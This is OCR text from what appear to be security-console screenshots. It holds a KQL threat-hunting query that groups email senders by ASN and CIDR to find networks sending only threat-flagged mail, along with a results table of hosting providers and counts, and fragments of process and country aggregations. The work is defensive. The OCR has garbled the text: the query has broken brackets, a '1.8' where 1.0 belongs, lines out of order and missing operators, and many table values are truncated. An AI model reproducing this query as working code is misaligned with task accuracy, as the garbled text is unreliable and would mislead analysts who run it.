["ConnectionSuccess"]

set_InitiatingProcessCo...
["\"ms-teams.exe\" ","\"OL
["\"OUTLOOK.EXE\" ","\"m:
["\"Creative Cloud Helper.e
["updatelnstalled /backgre
["svchost.exe -k netsvcs -p
["\"msedge.exe\" --type=u
["\"msedge.exe\" --type=u
["\"msedge.exe\" --type=u

["\"msedge.exe\" --type=u

set_InitiatingProcessFile...

["ms-teams.exe","outlook.¢ ['
["outlook.exe","msedge.ex [
["creative cloud helper.exe' ['

["onedrive.exe","svchost.ex [’

["svchost.exe"]
["msedge.exe","svchost.exe

["msedge.exe"]

["msedge.exe","svchost.exe [

["msedge.exe"]

set CIDR set_ GeolPData v

.0, ["Switzerland","France","Br

.0, ["Switzerland"]

0. ["United States","Ireland","
0 ["Switzerland"]

0, ["Italy"]

.1 ["United States"]
['Germany"]

0.4 [™]

["Switzerland"]

count_

1138

32

189

192

43

82

40
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Getting started

+ Export

Filters:

KQL Collectors by ASN/ISP (Email Threats)

let CIDRASN = (externaldata (CIDR:string, CIDRASN:int, CIDRASNName:string)
['https://firewalliplists.gypthecat.com/lists/kusto/kusto-cidr-asn.csv.zip'lwith (ignoreFirstRecord=true));

EmailEvents

| evaluate ipv4_lookup(CIDRASN, SenderIPv4, CIDR, return_unmatched=true)
| extend GeoIPData = tostring(geo_info_from_ip_address(SenderIPv4).country)

| summarize Different_IPs=make_set(SenderIPv4), Countries= make_set(GeoIPData), make_set(CIDR), make_set(SenderFromDomain),

Distinct_IPs=dcount{SenderIPv4) ,Total_emails = count(),make_set(ThreatTypes),Delivered_on_Inbox= countif(DeliveryLocation has "Inbox/folder"),

Email_Valid = count{ isempty(ThreatTypes))} by GeoIPData, CIDR, CIDRASNName,CIDRASN

extend SuspiciousRatio = Email_Threat * 1.0 / Total_emails, ValidRatio

Email_Valid * 1.8 / Total_emails

extend SuspiciousPercentage = SuspiciousRatio * 100, ValidPercentage = ValidRatio * 100

|
| where SuspiciousPercentage == 100
|

Email_Threat= count(isnotempty(ThreatTypes)),

project CIDRASNName,set_SenderFromDomain, set_CIDR,CIDRASN, Different_IPs, Countries,Distinct_IPs, set_ThreatTypes,Total_emails, Delivered_on_Inbox, Email_Threat, Email_Valid, SuspiciousPercentage, ValidPercentage

Results

. Add filter

CIDRASNName

VOOVV VNV VY VYWV

N

LeaseWeb Netherl...
Eletric Telecomuni...
ALGAR TELECOM SA
China Telecom Gr...
PONYNET
Hostgnome Ltd
WKVE Asses. em S...
China Telecom Gr...

Webglobe, s.ro.

OVH SAS

Switch

Show empty columns

set_CIDR

['212.32.224.0/19"]
["143.0.180.0/22"]
["200.146.192.0/18"]
["116.224.0.0/12"]
["198.98.48.0/20"]
["185.91.69.0/24"]
["189.76.224.0/20"]

["116.224.0.0/12"]

['213.109.164.0/22"]

["54.36.0.0/14"]

Countries

["The Netherlands"]
["Brazil"]

["Brazil"]

["China"]

["United States"]
["United Kingdom"]
["Brazil"]

["China"]
["Czechia"]

["Canada"]

Distinct_IPs

14

20

45

40

Total_emails |

2556
1233
624
542
308
237
170

169

98

42

Delivered_on_lnbox

1980 items

Email_Threat

2556

1233

624

542

308

237

170

169

98

42

O Search

Email_Valid

L~ Chart type

SuspiciousPercentage

100
100
100
100
100
100
100

100

100

100

/" Full screen

ValidPercentage

109



Switch_

Thank you
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